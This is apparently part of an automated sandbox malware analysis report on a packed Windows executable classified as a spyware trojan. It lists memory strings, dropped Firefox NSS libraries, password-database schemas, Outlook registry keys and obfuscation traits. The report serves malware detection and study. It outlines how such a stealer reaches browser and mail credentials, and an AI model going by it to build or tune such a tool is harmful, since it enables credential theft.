Source: AKJKFBAFIDAEBFHJKJEBFCBFHD.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: AKJKFBAFIDAEBFHJKJEBFCBFHD.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: AKJKFBAFIDAEBFHJKJEBFCBFHD.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.1828995636.0000000029712000.00000004.00000020.00020000.00000000.sdmp, AKJKFBAFIDAEBFHJKJEBFCBFHD.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: AKJKFBAFIDAEBFHJKJEBFCBFHD.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1828995636.0000000029712000.00000004.00000020.00020000.00000000.sdmp, AKJKFBAFIDAEBFHJKJEBFCBFHD.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	0_2_6C5CED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C60B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C60B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C60B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C5AF280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E087B	0_2_004E087B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00404023	0_2_00404023
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005BF953	0_2_005BF953
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B6152	0_2_005B6152
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004DB9CC	0_2_004DB9CC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007A11B0	0_2_007A11B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003B7B0F	0_2_003B7B0F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003E737F	0_2_003E737F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004DD3FD	0_2_004DD3FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0037B4B6	0_2_0037B4B6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E2CAD	0_2_004E2CAD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003D0D53	0_2_003D0D53
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004CE5E5	0_2_004CE5E5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0054E58E	0_2_0054E58E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004CB63C	0_2_004CB63C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004D36FD	0_2_004D36FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004CFFF1	0_2_004CFFF1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A35A0	0_2_6C5A35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B5440	0_2_6C5B5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61545C	0_2_6C61545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61542B	0_2_6C61542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E5C10	0_2_6C5E5C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F2C10	0_2_6C5F2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61AC00	0_2_6C61AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CD4D0	0_2_6C5CD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B64C0	0_2_6C5B64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E6CF0	0_2_6C5E6CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AD4E0	0_2_6C5AD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6034A0	0_2_6C6034A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60C4A0	0_2_6C60C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B6C80	0_2_6C5B6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CED10	0_2_6C5CED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D0512	0_2_6C5D0512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BFD00	0_2_6C5BFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E0DD0	0_2_6C5E0DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6085F0	0_2_6C6085F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C616E63	0_2_6C616E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C9E50	0_2_6C5C9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E3E50	0_2_6C5E3E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F2E4E	0_2_6C5F2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C4640	0_2_6C5C4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AC670	0_2_6C5AC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E7E10	0_2_6C5E7E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C609E30	0_2_6C609E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F5600	0_2_6C5F5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6176E3	0_2_6C6176E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ABEF0	0_2_6C5ABEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BFEF0	0_2_6C5BFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C604EA0	0_2_6C604EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C5E90	0_2_6C5C5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60E680	0_2_6C60E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E7710	0_2_6C5E7710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B9F00	0_2_6C5B9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D6FF0	0_2_6C5D6FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ADFE0	0_2_6C5ADFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F77A0	0_2_6C5F77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C8850	0_2_6C5C8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CD850	0_2_6C5CD850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EF070	0_2_6C5EF070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B7810	0_2_6C5B7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EB820	0_2_6C5EB820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F4820	0_2_6C5F4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6150C7	0_2_6C6150C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CC0E0	0_2_6C5CC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E58E0	0_2_6C5E58E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D60A0	0_2_6C5D60A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61B170	0_2_6C61B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CA940	0_2_6C5CA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FB970	0_2_6C5FB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BD960	0_2_6C5BD960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E5190	0_2_6C5E5190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DD9B0	0_2_6C5DD9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C602990	0_2_6C602990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AC9A0	0_2_6C5AC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E9A60	0_2_6C5E9A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E8AC0	0_2_6C5E8AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C1AF0	0_2_6C5C1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EE2F0	0_2_6C5EE2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C612AB0	0_2_6C612AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BCAB0	0_2_6C5BCAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61BA90	0_2_6C61BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A22A0	0_2_6C5A22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D4AA0	0_2_6C5D4AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A5340	0_2_6C5A5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BC370	0_2_6C5BC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ED320	0_2_6C5ED320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6153C8	0_2_6C6153C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AF380	0_2_6C5AF380

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00124610 appears 316 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5E94D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5DCBE8 appears 134 times

Source: file.exe, 00000000.00000002.1914699231.000000006C825000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: fgtetwml ZLIB complexity 0.995076780051344

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/22@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C607030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C607030

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001390A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_001390A0

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\5060BF3N.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.1906245471.000000001D540000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1914621500.000000006C7DF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1914179380.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.1906245471.000000001D540000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1914621500.000000006C7DF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1914179380.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.1906245471.000000001D540000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1914621500.000000006C7DF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1914179380.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.1906245471.000000001D540000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1914621500.000000006C7DF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1914179380.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.1906245471.000000001D540000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1914621500.000000006C7DF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1914179380.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.1906245471.000000001D540000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1914179380.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.1906245471.000000001D540000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1914621500.000000006C7DF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1914179380.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1753713540.000000001D444000.00000004.00000020.00020000.00000000.sdmp, JJJEBGDAFHJEBGDGIJDH.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.1906245471.000000001D540000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1914179380.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.1906245471.000000001D540000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1914179380.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

Virustotal: Detection: 42%

Source: file.exe	String found in binary or memory: ft.com/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d
Source: file.exe	String found in binary or memory: m/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d8e17?
Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1790976 > 1048576

Source: file.exe

Static PE information: Raw size of fgtetwml is bigger than: 0x100000 < 0x19de00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1914621500.000000006C7DF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1914621500.000000006C7DF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.120000.0.unpack :EW;.rsrc :W;.idata :W; :EW;fgtetwml:EW;kzhupcow:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;fgtetwml:EW;kzhupcow:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00139270 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00139270

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c1290 should be: 0x1c22fe

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: fgtetwml
Source: file.exe	Static PE information: section name: kzhupcow
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E087B push eax; mov dword ptr [esp], ecx	0_2_004E08D1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E087B push esi; mov dword ptr [esp], ebx	0_2_004E090D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E087B push 039243F3h; mov dword ptr [esp], ebx	0_2_004E091E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E087B push ebp; mov dword ptr [esp], 63E42388h	0_2_004E0A72
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E087B push 31648F86h; mov dword ptr [esp], ebx	0_2_004E0A81
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E087B push 01C344D5h; mov dword ptr [esp], ebp	0_2_004E0AA5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E087B push 37B5A184h; mov dword ptr [esp], edi	0_2_004E0B59
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E087B push 303DB176h; mov dword ptr [esp], edx	0_2_004E0B7B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E087B push 62F1F5ACh; mov dword ptr [esp], edi	0_2_004E0C12
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E087B push edx; mov dword ptr [esp], 777FB51Dh	0_2_004E0C54
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E087B push edx; mov dword ptr [esp], 2F771189h	0_2_004E0D1A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E087B push 337B382Bh; mov dword ptr [esp], edx	0_2_004E0D65
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E087B push 65F8DC5Dh; mov dword ptr [esp], eax	0_2_004E0D85
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E087B push esi; mov dword ptr [esp], 000000A7h	0_2_004E0E1B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E087B push ecx; mov dword ptr [esp], esp	0_2_004E0E40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E087B push 08A29A70h; mov dword ptr [esp], esi	0_2_004E0E97
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E087B push 4C461DD5h; mov dword ptr [esp], edi	0_2_004E0EC5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E087B push 72A35DBEh; mov dword ptr [esp], eax	0_2_004E0ED2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E087B push 110D88A1h; mov dword ptr [esp], ebp	0_2_004E0F4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E087B push eax; mov dword ptr [esp], ecx	0_2_004E0F73
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E087B push ebx; mov dword ptr [esp], 7FBF549Bh	0_2_004E0F85
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E087B push ebp; mov dword ptr [esp], esi	0_2_004E10BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E087B push ecx; mov dword ptr [esp], 0CBABE0Ah	0_2_004E10F9
